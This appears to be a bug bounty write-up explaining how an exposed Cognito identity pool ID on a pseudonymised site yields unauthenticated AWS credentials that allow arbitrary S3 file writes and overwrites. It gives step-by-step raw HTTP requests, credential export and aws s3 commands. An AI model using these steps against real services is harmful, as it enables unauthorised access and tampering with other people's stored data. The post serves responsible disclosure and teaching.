Getting AWS s3 file Write/OverWrite from Cognito

How we got there

This was a bug i found when i was working on a target that i considered fresh, i hadn't seen it before. Lets call it xboy.me. After Checking out the web app and getting a feel of it, i observerved that it was using React for the frontend and AWS web services for backend services. The amazon services included s3 and cloudfront for file storage and serving purposes, AppSync for Graphql backend logic, Cognito for authentication, authorization and identity management.

I had some knowledge about this services but not huge, to start with, i looked around the js and they had exposed some of the things i would in turn use to hack them.

they had exposed the identityPoolId :: Amazon Cognito identity pools provide temporary AWS credentials for users who are guests (unauthenticated) and for users who have been authenticated and received a token. An identity pool is a store of user identity data specific to your account.

What can you achieve with this, basically anything that the developer "mis-"configured as accessible, depending on the web app or cognito auth level i.e admin/internal webapp would have access to more services than just a normal webapp. Also depending on whether the dev configured 'unauthenticated' which is more dangerous, or self sign-up on cognito(story for another time).

identityPoolId looks like below;

c={env:"prod",graphqlHost:"https://graphql.xboy.me/graphql",userPoolId:"eu-west-1_3ycnryFTg",appId:"m4j8n2p9v3x5z7l6w1s0t5r9y4q",identityPoolId:"eu-west-1:d0c1ab89-50f6-4f0b-80fc-b1746c8cb325",region:"eu-west-1",s3BucketUrl:"https://xboy-user-data.s3.amazonaws.com",cloudfrontUrl:"https://d9x2f7h3j8q5w6z.cloudfront.net",s3Bucket:"xboy-user-data"}

Now to how things worked and the bug

Reproduction Steps

Using Burp

  1. Getting the identityId
POST / HTTP/2
Host: cognito-identity.eu-west-1.amazonaws.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Amz-Sdk-Invocation-Id: daa7dab4-9d07-4aeb-8561-0a47e7f95a32
Amz-Sdk-Request: attempt=1; max=3
Content-Type: application/x-amz-json-1.1
X-Amz-Target: AWSCognitoIdentityService.GetId
X-Amz-User-Agent: aws-sdk-js/3.6.1 os/Windows/NT_10.0 lang/js md/browser/Chrome_114.0.0.0 api/cognito_identity/3.6.1 aws-amplify/3.8.23_js
Content-Length: 67
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Te: trailers

{"IdentityPoolId":"eu-west-1:d0c1ab89-50f6-4f0b-80fc-b1746c8cb325"}
  1. Above request should respond with a 200 OK and a json payload containing an identityId if it has unauthenticated access enabled.
  2. Now to exchange the identityId for some AWS temporary creds; b7fe7b5b-9e5a-40f5-8a7e-c9a2dbd3c6a9
POST / HTTP/2
Host: cognito-identity.eu-west-1.amazonaws.com
User-Agent: g30rgyth3d4rk-Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Amz-Sdk-Invocation-Id: 1d163b71-f527-4b6f-9a4e-c15b6bea8c98
Amz-Sdk-Request: attempt=1; max=3
Content-Type: application/x-amz-json-1.1
X-Amz-Target: AWSCognitoIdentityService.GetCredentialsForIdentity
X-Amz-User-Agent: aws-sdk-js/3.6.1 os/Windows/NT_10.0 lang/js md/browser/Chrome_114.0.0.0 api/cognito_identity/3.6.1 aws-amplify/3.8.23_js
Content-Length: 63
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Te: trailers

{"IdentityId":"eu-west-1:b7fe7b5b-9e5a-40f5-8a7e-c9a2dbd3c6a9"}
  1. On success above request should return a json payload containing AWS Temporary Credentials and some metadata.
  2. Now theres several paths from here;
  • enumerate-iam.py path
$ git clone git@github.com:andresriancho/enumerate-iam.git
$ cd enumerate-iam/
$ pip install -r requirements.txt

$ python3 enumerate-iam.py --access-key "AKIA..." --secret-key "StF0q..." --session "IQ....."
  • Manual Approach [my Fav]

export creds on linux

$ export AWS_ACCESS_KEY_ID=ASIAIOSFODNN7EXAMPLE
$ export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
$ export AWS_SESSION_TOKEN=AQoDYXdzEJr...<remainder of session token>

This is highly technical area that depends on if you understand the proper aws tech stack being used. For this case it was s3.

  1. Now i went on to test aws s3 after exporting the temp creds;
$ aws s3 ls
$ aws s3 ls s3://xboy-user-data
$ aws s3 cp PoC.txt s3://xboy-user-data
$ aws s3 rm s3://xboy-user-data/PoC.txt
  1. Only the cp [write api call] was successfull but due to how aws s3 works if a filename exists, it will overwrite it on a write operation, hence the bug write/overwrite. The other api calls returned a forbidden error

Attacker could

>- Write & Overwrite arbitrary files in the s3 Buckets

Report

I found the bug on two instances and repoted both [separately]

basic

Contacts

@github @twitter @LinkedIn @Intigriti @hackerone_old

🔥🔥: 0

Previous Post

Idor2ATO

Next Post

CORP-RCE